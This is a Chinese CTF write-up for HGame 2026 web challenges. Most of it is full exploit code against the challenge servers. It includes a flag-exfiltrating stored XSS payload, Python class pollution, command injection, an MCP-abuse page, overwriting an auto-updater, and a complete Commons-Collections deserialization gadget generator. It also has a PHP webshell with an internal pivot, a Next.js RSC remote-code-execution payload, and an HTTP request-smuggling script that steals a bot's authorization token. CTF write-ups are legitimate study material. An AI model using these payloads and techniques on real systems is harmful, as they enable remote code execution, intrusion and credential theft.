HGame2026 2025的没打成,然后就来体验2026了
也是趁机偷了个三血,不过寒假天天在外面,不然应该能抢到不少(
Week1 魔理沙的魔法目录 访问主页发现是一个静态文档站,但页面加载了 javascripts/tracker.js
从 tracker.js 里抽到关键字符串:
接口:/login、/record、/check
需要 Authorization 头
JSON 字段名:username、time
check 里有 flag 字段
据此流程:
先 /login 获取 token
/record 上报时长(time)
/check 校验并返回 flag
1 2 3 4 5 6 7 8 9 10 11 12 import requestsbase = "http://cloud-middle.hgame.vidar.club:31093" token = requests.post(base + "/login" , json={"username" : "test" }).json()["token" ] headers = {"Authorization" : token} requests.post(base + "/record" , headers=headers, json={"time" : 9999999 }) print (requests.get(base + "/check" , headers=headers).json())
Vidarshop UID:
1 2 admin -> 1 4 13 9 14 -> 1413914 nmin -> 14 13 9 14 -> 1413914
所以注册 nmin 即可拿到 uid=1413914,随后请求里带 uid=1413914,服务端判断 is_admin=true
测试:
会报错:'str' object has no attribute 'x',说明它在递归 setattr
进一步发现:
user.info 是一个方法
user.info.__func__ 取到函数对象
user.info.__func__.__globals__ 可访问全局变量
因此可以直接修改全局 balance:
1 2 3 4 5 6 7 8 9 { "info" : { "__func__" : { "__globals__" : { "balance" : 1000000 } } } }
Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsbase = "http://cloud-middle.hgame.vidar.club:32153" u, p = "nmin" , "pass123" requests.post(base+"/register" , json={"username" :u, "password" :p}) login = requests.post(base+"/login" , json={"username" :u, "password" :p}).json() headers = { "Authorization" : "Bearer " + login["token" ], "uid" : login["uid" ], "Content-Type" : "application/json" } payload = {"info" :{"__func__" :{"__globals__" :{"balance" :1000000 }}}} requests.post(base+"/api/update" , headers=headers, json=payload) r = requests.post(base+"/api/buy" , headers=headers, json={"item" :"flag" }) print (r.text)
绘马挂 - 博丽神社 在 index.html 的渲染逻辑中:
1 2 3 4 5 6 7 8 9 10 msgs.forEach (m => { const div = document .createElement ('div' ); div.className = 'card' ; div.innerHTML = ` <div class="meta">...</div> <div class="msg-content">${m.content} </div> ` ; list.appendChild (div); });
可以看到 m.content 直接拼接进 innerHTML,没有任何转义或过滤,因此可以利用存储型XSS
payload:
1 <img src =x onerror ='fetch("/api/archives").then(r=>r.json()).then(d=>{for(let m of d){if(m.content&&m.content.includes("Hgame{")){fetch("/api/messages",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({content:m.content,is_private:false})});break}}})' >
访问首页按钮“ 呼叫灵梦”会调用:
即可让管理员查看页面,从而触发 XSS
1 The_Secret_Is: Hgame{tHE-s3cret_of_hakuREi-J1NjA149d81e0}
MyMonitor
MonitorStruct 通过 sync.Pool 复用,但在 ShouldBindJSON 失败时直接返回,没有调用 reset() 清空字段
UserCmd 与 AdminCmd 都从池中取对象;因此如果我们在 校验失败 的请求里污染 Args,对象会被放回池里带着旧值
管理员端在 /api/admin/cmd 拼接 cmd + " " + args,且前端不传空 args 字段,导致可能复用旧的 Args
Gin 默认 debug 模式会 每次请求重新读取模板 ,因此覆盖 templates/login.html 后访问 /login 即可读出内容
题面提示管理员会周期性执行 ls,触发注入
1 2 3 4 POST /api/account/register Content-Type : application/json{"username":"uXXXX","password":"pXXXX"}
1 2 3 4 5 POST /api/user/cmd Content-Type : application/jsonAuthorization : <token>{"cmd":" ","args":";cat /flag > /app/templates/login.html"}
Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import requests, json, time, random, stringbase='http://cloud-middle.hgame.vidar.club:31838' u='u' +'' .join(random.choice(string.ascii_lowercase+string.digits) for _ in range (8 )) p='p' +'' .join(random.choice(string.ascii_lowercase+string.digits) for _ in range (8 )) print ('user' ,u,p)res=requests.post(base+'/api/account/register' , json={'username' :u,'password' :p}) print (res.status_code,res.text)if res.status_code!=200 : res=requests.post(base+'/api/account/login' , json={'username' :u,'password' :p}) print ('login' ,res.status_code,res.text) try : j=res.json() except Exception: print ('json parse failed' ,res.text) raise token=j.get('Authorization' ) or j.get('authorization' ) or j.get('Authorization' .lower()) print ('token' ,token)if not token: raise SystemExit('no token' ) payload={'args' :';cat /flag > /app/templates/login.html' } res=requests.post(base+'/api/user/cmd' , headers={'Authorization' :token}, json=payload) print ('poison' ,res.status_code,res.text)for i in range (60 ): r=requests.get(base+'/login' ) if 'flag' in r.text.lower(): print ('found' ,r.text) break print ('try' ,i,'len' ,len (r.text)) time.sleep(2 )
My Little Assistant 通过 py_request 访问一个“恶意网页”,让网页里的 JS 在浏览器中向内网 MCP 发起 POST,执行 py_eval 读取 /flag,再把结果写回页面
准备一个带 JS 的 HTML,内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <!doctype html > <html > <body > <script > (async () => { const payload = { jsonrpc : "2.0" , id : 1 , params : { name : "py_eval" , arguments : { code : "flag=open('/flag').read()" } } }; const res = await fetch ("http://127.0.0.1:8001/mcp" , { method : "POST" , headers : {"Content-Type" : "application/json" }, body : JSON .stringify (payload) }); const text = await res.text (); document .body .innerText = text; })(); </script > </body > </html >
调用 py_request 访问这个页面:
1 2 3 4 POST /execute_tool Content-Type : application/json{"name":"py_request","arguments":{"url":"https://vps/exploit.html"}}
返回的 page.content() 中包含 MCP 的执行结果,直接解析出 flag
hgame{4lmCP-DrIven-X5S-atTacK-CH@iNca4c35}
Week2 easyuu 关键漏洞链为:任意目录遍历读取 + 任意路径写文件 + 自动更新执行
后端存在 POST /api/list_dir,服务端直接对传入的 path 进行 read_dir,无任何校验 ,可列举任意目录
POST /api/upload_file 支持表单字段 path1 指定写入目录,可任意路径写文件
服务端有 update_watcher,每 5 秒执行 ./update/easyuu --version 来检查更新
利用第 2 点将 /app/update/easyuu 覆盖成脚本,该脚本在 --version 模式下执行一次即可落盘敏感信息
脚本把环境变量写入 /app/uploads/env.txt,随后从下载接口读取即可拿到 FLAG
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import requests, textwrap, timeBASE = "http://1.116.118.188:31875" script = textwrap.dedent("""\ #!/bin/sh if [ "$1" = "--version" ]; then if [ ! -f /app/uploads/env.txt ]; then env > /app/uploads/env.txt 2>/dev/null fi echo 0.1.0 exit 0 fi while true; do sleep 3600; done """ )upload_url = f"{BASE} /api/upload_file" files = {"file" : ("easyuu" , script.encode())} data = {"path1" : "/app/update" } r = requests.post(upload_url, files=files, data=data, timeout=10 ) print ("upload status:" , r.status_code, r.text)time.sleep(6 ) env_url = f"{BASE} /api/download_file/env.txt" r = requests.get(env_url, timeout=10 ) print ("env status:" , r.status_code)print (r.text)for line in r.text.splitlines(): if line.startswith("FLAG=" ): print ("FLAG:" , line.split("=" , 1 )[1 ])
ezCC 反序列化入口(myServlet)
文件:easycc/src/war/WEB-INF/classes/Hgame/ezCC/myServlet.class
通过反编译(javap -c -p)可还原 /welcome 逻辑核心:
1 2 3 cookieValue = Cookie("userInfo" ).getValue(); obj = Tool.deserialize(Tool.base64Decode(cookieValue)); user = (UserInfo) obj;
也就是:cookie 可控 -> Base64 解码 -> Java 反序列化
反序列化实现(Tool)
文件:easycc/src/war/WEB-INF/classes/Hgame/ezCC/Tool.class
核心代码等价于:
1 2 3 4 public static Object deserialize (byte [] bytes) { ObjectInputStream ois = new BlacklistObjectInputStream (new ByteArrayInputStream (bytes)); return ois.readObject(); }
文件:easycc/src/war/WEB-INF/classes/Hgame/ezCC/BlacklistObjectInputStream.class
resolveClass 仅拦截一个类名:
1 2 3 if (name.equals("org.apache.commons.collections.functors.InvokerTransformer" )) { throw new InvalidClassException (...) }
只禁了 InvokerTransformer,其余 CC 组件仍可用
文件:easycc/src/war/META-INF/maven/Hgame.ezCC/Hgame2026/pom.xml
依赖存在:
1 2 3 4 5 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency >
因此可以利用 Commons-Collections 链,但要避开 InvokerTransformer
选择不含 InvokerTransformer 的链:LazyMap + TiedMapEntry + ChainedTransformer + InstantiateTransformer + TrAXFilter + TemplatesImpl
TemplatesImpl 中注入恶意 Translet 字节码
恶意类静态代码块读取 FLAG
反序列化触发后 Tomcat 返回 500,错误页会带异常信息,从而回显 flag
目标是 Tomcat9 + JDK8,因此恶意类版本需兼容 Java8(major version=52)。在生成器中把 class 文件版本强制改为 0x0034
编译命令:
1 2 3 4 5 6 javac --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED ` --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED ` --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED ` --add-exports java.xml/com.sun.org.apache.xml.internal.dtm=ALL-UNNAMED ` --add-exports java.xml/com.sun.org.apache.xml.internal.serializer=ALL-UNNAMED ` -cp easycc\src\war\WEB-INF \lib\commons-collections-3 .2.1 .jar GenEzCCPayload.java
Java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.charset.StandardCharsets;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;import java.util.Base64;import java.util.HashMap;import java.util.Map;import javax.xml.transform.Templates;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class GenEzCCPayload { public static class EvilTranslet extends AbstractTranslet { private static void fail (String message) { throw new RuntimeException (message); } static { try { String flag = System.getenv("FLAG" ); if (flag == null || flag.isEmpty()) { String[] paths = new String [] { "/flag" , "/flag.txt" , "/root/flag" , "/root/flag.txt" , "/app/flag" , "/app/flag.txt" }; for (String p : paths) { try { Path path = Paths.get(p); if (Files.isRegularFile(path)) { flag = new String (Files.readAllBytes(path), StandardCharsets.UTF_8).trim(); if (!flag.isEmpty()) { break ; } } } catch (Throwable ignored) { } } } if (flag == null || flag.isEmpty()) { flag = "FLAG_NOT_FOUND" ; } fail(flag); } catch (RuntimeException e) { throw e; } catch (Throwable t) { throw new RuntimeException (t); } } public EvilTranslet () { } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } } private static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Class<?> c = obj.getClass(); while (c != null ) { try { Field f = c.getDeclaredField(fieldName); f.setAccessible(true ); f.set(obj, value); return ; } catch (NoSuchFieldException e) { c = c.getSuperclass(); } } throw new NoSuchFieldException (fieldName); } private static byte [] getClassBytes(Class<?> clazz) throws IOException { String resource = clazz.getName().replace('.' , '/' ) + ".class" ; try (InputStream in = clazz.getClassLoader().getResourceAsStream(resource)) { if (in == null ) { throw new IOException ("Cannot read class bytes: " + resource); } ByteArrayOutputStream bos = new ByteArrayOutputStream (); byte [] buf = new byte [4096 ]; int n; while ((n = in.read(buf)) != -1 ) { bos.write(buf, 0 , n); } return bos.toByteArray(); } } private static byte [] forceJava8ClassVersion(byte [] cls) { byte [] out = cls.clone(); if (out.length > 8 ) { out[6 ] = 0x00 ; out[7 ] = 0x34 ; } return out; } private static byte [] serialize(Object obj) throws IOException { ByteArrayOutputStream bos = new ByteArrayOutputStream (); try (ObjectOutputStream oos = new ObjectOutputStream (bos)) { oos.writeObject(obj); } return bos.toByteArray(); } @SuppressWarnings({ "rawtypes", "unchecked" }) public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); byte [] evilBytes = forceJava8ClassVersion(getClassBytes(EvilTranslet.class)); setFieldValue(templates, "_bytecodes" , new byte [][] { evilBytes }); setFieldValue(templates, "_name" , "ezcc" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); Transformer[] fake = new Transformer [] { new ConstantTransformer (1 ) }; Transformer[] real = new Transformer [] { new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class [] { Templates.class }, new Object [] { templates }) }; ChainedTransformer chain = new ChainedTransformer (fake); Map inner = new HashMap (); Map outer = LazyMap.decorate(inner, chain); TiedMapEntry entry = new TiedMapEntry (outer, "k" ); HashMap trigger = new HashMap (); trigger.put(entry, "v" ); outer.remove("k" ); setFieldValue(chain, "iTransformers" , real); byte [] serialized = serialize(trigger); System.out.print(Base64.getEncoder().encodeToString(serialized)); } }
Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import htmlimport reimport subprocessimport requestsimport urllib3urllib3.disable_warnings() JAVA_CMD = [ "java" , "--add-exports" , "java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED" , "--add-exports" , "java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED" , "--add-exports" , "java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED" , "--add-exports" , "java.xml/com.sun.org.apache.xml.internal.dtm=ALL-UNNAMED" , "--add-exports" , "java.xml/com.sun.org.apache.xml.internal.serializer=ALL-UNNAMED" , "--add-opens" , "java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED" , "-cp" , ".;easycc\\src\\war\\WEB-INF\\lib\\commons-collections-3.2.1.jar" , "GenEzCCPayload" ] b64_payload = subprocess.check_output(JAVA_CMD, text=True ).strip() url = "https://1.116.118.188:30636/welcome" r = requests.get(url, cookies={"userInfo" : b64_payload}, verify=False , timeout=20 ) text = html.unescape(r.text) m = re.search(r"hgame\{[^<\n\r]*\}" , text, re.I) if m: print ("flag:" , m.group(0 )) else : print ("flag not found" ) print (text[:1200 ])
babyweb? 题目给的关键源码是上传处理逻辑(upload_handler.php),核心点如下:
上传目录固定为 uploads/,并且会自动创建
move_uploaded_file() 直接把用户文件写入 uploads/$origName
扩展名白名单里明确包含 php :
["jpg","jpeg","png","gif","pdf","doc","docx","txt","htaccess","php"]
由于允许 php,所以可以直接上传 cmd.php 这类 webshell 并访问执行
所以可以上传一个最小 webshell:
1 <?php if (isset ($_REQUEST ['cmd' ])) { system ($_REQUEST ['cmd' ]); } ?>
访问:
/uploads/cmd.php?cmd=id
回显:
uid=65534(nobody) gid=65534(nobody) ...
为了稳定访问内网第二层服务(避免高层 HTTP 封装干扰),再上传一个 rawsock.php:
参数 host/port/req
服务端 fsockopen() 连内网
原始写入 HTTP 报文
读取原始响应并 base64 返回
通过它确认内网存在 10.0.0.2:3000(Next.js dev 服务)
访问内网主页可见提示:flag 在 /flag,但直接 HTTP 访问 /flag 是 404 路由,不等于文件不可读
结合 Next.js dev 环境特征,走 next-action 的 multipart 反序列化链,构造恶意 RSC 模型,让服务端执行任意 JS
所以我们可以:
构造 multipart/form-data 三个字段 0/1/2
在字段 0 里放置:
then: "$1:__proto__:then"
_formData.get: "$1:constructor:constructor"(拿到 Function 构造器)
_prefix 为要执行的 JS 代码
通过第一层 rawsock.php 把该请求原样打到 10.0.0.2:3000
JS 中执行:
process.mainModule.require('child_process').execSync('cat /flag')
再抛出 NEXT_REDIRECT,把 flag 放进 digest 字段,在响应中回显
Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 import base64import jsonimport reimport requestsBASE = "http://1.116.118.188:30140" s = requests.Session() s.trust_env = False def upload (name: str , content: str ): files = {"fileToUpload" : (name, content, "application/x-php" )} data = {"submit" : "1" } r = s.post( f"{BASE} /upload_handler.php" , files=files, data=data, allow_redirects=False , timeout=20 , ) return r.status_code, r.headers.get("Location" ) def upload_rawsock (): php = r"""<?php $host = $_REQUEST['host'] ?? '10.0.0.2'; $port = intval($_REQUEST['port'] ?? '3000'); $req = $_REQUEST['req'] ?? ''; $fp = @fsockopen($host, $port, $errno, $errstr, 10); if (!$fp) { header('Content-Type: application/json'); echo json_encode([ 'ok' => false, 'error' => "connect fail: $errno $errstr", 'resp_b64' => '' ], JSON_UNESCAPED_SLASHES); exit; } stream_set_timeout($fp, 20); fwrite($fp, $req); $resp = ''; while (!feof($fp)) { $chunk = fread($fp, 8192); if ($chunk === false) break; $resp .= $chunk; } fclose($fp); header('Content-Type: application/json'); echo json_encode([ 'ok' => true, 'error' => '', 'req_len' => strlen($req), 'resp_b64' => base64_encode($resp) ], JSON_UNESCAPED_SLASHES); ?>""" return upload("rawsock.php" , php) def raw_http (req: bytes , host="10.0.0.2" , port=3000 ) -> bytes : data = {"host" : host, "port" : str (port), "req" : req.decode("latin1" )} r = s.post(f"{BASE} /uploads/rawsock.php" , data=data, timeout=60 ) r.raise_for_status() obj = r.json() if not obj.get("ok" ): raise RuntimeError(obj.get("error" , "rawsock failed" )) return base64.b64decode(obj.get("resp_b64" , "" )) def build_fields (js_payload: str ): field0 = { "then" : "$1:__proto__:then" , "status" : "resolved_model" , "reason" : -1 , "value" : '{"then":"$B1337"}' , "_response" : { "_prefix" : js_payload, "_chunks" : "$Q2" , "_formData" : {"get" : "$1:constructor:constructor" }, }, } return {"0" : field0, "1" : "$@0" , "2" : []} def to_multipart (fields, boundary: str ) -> bytes : out = [] for k, v in fields.items(): out.append(f"--{boundary} \r\n" .encode()) out.append(f'Content-Disposition: form-data; name="{k} "\r\n\r\n' .encode()) out.append(json.dumps(v, separators=("," , ":" )).encode()) out.append(b"\r\n" ) out.append(f"--{boundary} --\r\n" .encode()) return b"" .join(out) def exploit (): upload_rawsock() js_payload = ( "var res=process.mainModule.require('child_process').execSync('cat /flag'," "{'timeout':5000}).toString().trim();" "throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});" ) boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad" body = to_multipart(build_fields(js_payload), boundary) req = ( "POST / HTTP/1.1\r\n" "Host: 10.0.0.2:3000\r\n" "Connection: close\r\n" "Next-Action: x\r\n" "X-Nextjs-Request-Id: ctf\r\n" "X-Nextjs-Html-Request-Id: ctf\r\n" f"Content-Type: multipart/form-data; boundary={boundary} \r\n" f"Content-Length: {len (body)} \r\n" "\r\n" ).encode() + body resp = raw_http(req).decode("utf-8" , "replace" ) print (resp) m = re.search(r"flag\{[^\r\n}]+\}" , resp, re.IGNORECASE) if m: print ("\nFLAG:" , m.group(0 )) else : print ("\nFLAG not found" ) if __name__ == "__main__" : exploit()
文文新闻
前端/代理:1.116.118.188:30612
后端:1.116.118.188:30522
从 front_src/proxy.js 与 supervisord.conf 可知:
外网只打到 Node 代理(80 -> 题面映射端口 30612)
/api/* 由 Node 转发到本地 Rust:127.0.0.1:3000
Rust 后端直接暴露在 30522
因此我们可以:
用 30612 触发代理层与后端层之间的解析差异
用 30522 读取后端
front_src/proxy.js(与远端 /app/frontend/proxy.js 一致)关键代码:
1 2 3 4 5 6 7 8 const proxy = httpProxy.createProxyServer ({ agent : new http.Agent ({ keepAlive : true , maxSockets : 100 , keepAliveMsecs : 10000 }), xfwd : true , });
这里有两个决定性细节:
keepAlive: true:代理到 Rust 的后端连接会复用,而不是一请求一连接
xfwd: true:代理会追加 x-forwarded-for / host / proto / port 等头
fs_dump/app_backend_src_http_parser.rs 的 parse_packet 逻辑:
1 2 3 4 let body_length : usize = headers .get ("content-length" ) .and_then (|v| v.parse ().ok ()) .unwrap_or (0 );
可见该解析器:
只看 Content-Length
完全不实现 Transfer-Encoding: chunked 语义
这会直接造成 TE/CL 语义错位:
前端代理(Node)会接受 chunked 报文并转发
后端(Rust)把这类请求当成 body_length = 0 或按错误 CL 处理
chunk 数据区中的字节会进入后续解析路径,形成“内层请求可执行”的效果
另外,parse_headers 仅做了简单的 split_once(":") + trim + lowercase,没有协议层校验;parse_form 也只是按 &、= 分割,不做 URL decode 或结构完整性检查
fs_dump/app_backend_src_main.rs:
每个 TCP 连接在一个循环里反复 read_buf,并在内层循环中持续 parse_packet
ParseResult::Partial 会等待更多字节
ParseResult::Invalid(skip_len) 会 buffer.advance(skip_len) 跳过垃圾后继续解析
所以一旦我们构造出“未填满 body”的请求,后端会持续吃后续字节补齐,即使中间有异常片段,它会跳过继续找下一个可解析请求
配合代理 keep-alive,后续用户请求就可能成为我们请求体的一部分
fs_dump/app_backend_src_handlers.rs 关键点:
handle_comment 用 Authorization 字符串在内存 USERS 中线性匹配用户
POST /api/comment 支持 application/x-www-form-urlencoded,取 content 字段并直接入库:
1 2 3 4 comments.push (CommentData { username: current_user, content: new_comment.content, });
这意味着:
只要评论 content 中混入了原始 HTTP 请求头,就会被原样存储
我们可以在评论正文里直接看到:
authorization: <token>
content-length
x-forwarded-*
host
本题中正是通过这条路径把 bot 的请求头泄露出来
Node 代理允许 chunked 请求 + 后端连接复用
Rust 解析器不支持 chunked,只按 CL 切包
我们把内层 POST /api/comment 夹到 chunk 数据中,让其被后端执行
内层请求故意设置更大的 Content-Length,让后续请求字节被吞进评论正文
等 bot 发帖,请求头里的 authorization 被写入评论
提取 token 后即可读到带 flag 的内容
ok,结合上面分析的,我们就可以有以下步骤:
先发送外层 Transfer-Encoding: chunked,chunk 数据中放一个完整内层 HTTP 请求
如果观察到内层请求被后端执行,说明成立
内层请求构造为:
POST /api/comment
Authorization 使用攻击者 token
Content-Type: application/x-www-form-urlencoded
Content-Length 设定为偏大(如 340)
body 只给 content=<marker>-
让后端卡在“等 body 补齐”的状态,然后就是等待并捕获 token
循环执行:
发投毒请求
等待 bot 正常发帖流量进入共享后端连接
再发 filler 请求补齐长度,迫使评论落库
用攻击者 token 到 30522 拉评论,按 marker 找命中评论
用正则提取 authorization: <uuid-token>
读取评论并获取 flag
Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 import reimport socketimport sysimport timeimport uuidimport requestsHOST = "1.116.118.188" PROXY_PORT = 30612 BACKEND_BASE = "http://1.116.118.188:30522" FLAG_RE = re.compile (r"(hgame\{[^\r\n}]{0,200}\}|flag\{[^\r\n}]{0,200}\}|ctf\{[^\r\n}]{0,200}\})" , re.I) TOKEN_RE = re.compile (r"authorization:\s*([0-9a-fA-F-]{36})" , re.I) def recv_drain (sock: socket.socket, timeout: float = 1.0 ) -> bytes : sock.settimeout(timeout) out = b"" while True : try : chunk = sock.recv(4096 ) except Exception: break if not chunk: break out += chunk if len (out) > 200000 : break return out def get_comments (token: str ): r = requests.get(BACKEND_BASE + "/api/comment" , headers={"Authorization" : token}, timeout=8 ) if r.status_code != 200 : return None try : data = r.json() except Exception: return None if not isinstance (data, list ): return None return data def send_poison (attacker_token: str , marker: str , body_len: int = 340 ) -> None : prefix = f"content={marker} -" .encode() inner = ( b"POST /api/comment HTTP/1.1\r\n" b"Host: x\r\n" + f"Authorization: {attacker_token} \r\n" .encode() + b"Content-Type: application/x-www-form-urlencoded\r\n" + f"Content-Length: {body_len} \r\n" .encode() + b"Connection: keep-alive\r\n\r\n" + prefix ) outer = ( b"POST /api/register HTTP/1.1\r\n" b"Host: 1.116.118.188:30612\r\n" b"Content-Type: application/x-www-form-urlencoded\r\n" b"Transfer-Encoding: chunked\r\n" b"Connection: keep-alive\r\n\r\n" + f"{len (inner):X} \r\n" .encode() + inner + b"\r\n0\r\n\r\n" ) s = socket.create_connection((HOST, PROXY_PORT), timeout=8 ) s.sendall(outer) recv_drain(s, timeout=1.2 ) s.close() def send_filler (marker: str ) -> None : body = '{"content":"' + ("F" * 1200 ) + '"}' req = ( f"POST /api/comment?fill={marker} HTTP/1.1\r\n" f"Host: {HOST} :{PROXY_PORT} \r\n" "Content-Type: application/json\r\n" f"Content-Length: {len (body)} \r\n" "Connection: close\r\n\r\n" + body ).encode() s = socket.create_connection((HOST, PROXY_PORT), timeout=8 ) s.sendall(req) recv_drain(s, timeout=1.2 ) s.close() def register_attacker (): username = "atk" + uuid.uuid4().hex [:6 ] password = "pw" + uuid.uuid4().hex [:6 ] r = requests.post( BACKEND_BASE + "/api/register" , json={"username" : username, "password" : password}, timeout=8 , ) r.raise_for_status() token = r.json()["token" ] return username, token def find_marker_comment (comments, username: str , marker: str ): for item in reversed (comments): if not isinstance (item, dict ): continue if item.get("username" ) != username: continue content = item.get("content" , "" ) if marker in content: return content return None def main () -> int : attacker_user, attacker_token = register_attacker() print (f"[+] attacker user: {attacker_user} " ) print (f"[+] attacker token: {attacker_token} " ) stolen_token = None for i in range (1 , 61 ): marker = "M" + uuid.uuid4().hex [:6 ] print (f"[*] attempt {i} marker={marker} " ) send_poison(attacker_token, marker, body_len=340 ) time.sleep(10 ) send_filler(marker) time.sleep(1 ) comments = get_comments(attacker_token) if comments is None : print ("[-] cannot fetch comments with attacker token" ) continue hit = find_marker_comment(comments, attacker_user, marker) if not hit: print ("[-] no marker comment yet" ) continue m = TOKEN_RE.search(hit) if not m: print ("[-] marker comment exists but no authorization header leaked" ) continue candidate = m.group(1 ) print (f"[+] token: {candidate} " ) if candidate == attacker_token: print ("[-] continue" ) continue probe = get_comments(candidate) if probe is None : print ("[-] token invalid" ) continue stolen_token = candidate print (f"[+] valid stolen token: {stolen_token} " ) break if not stolen_token: print ("[-] failed token in current attempts" ) return 1 comments = get_comments(stolen_token) if comments is None : print ("[-] cannot read comments" ) return 1 flag = None for item in comments: if not isinstance (item, dict ): continue text = item.get("content" , "" ) m = FLAG_RE.search(text) if m: flag = m.group(1 ) break if not flag: print ("[-] not found flag in comments" ) return 1 print (f"[+] FLAG: {flag} " ) return 0 if __name__ == "__main__" : sys.exit(main())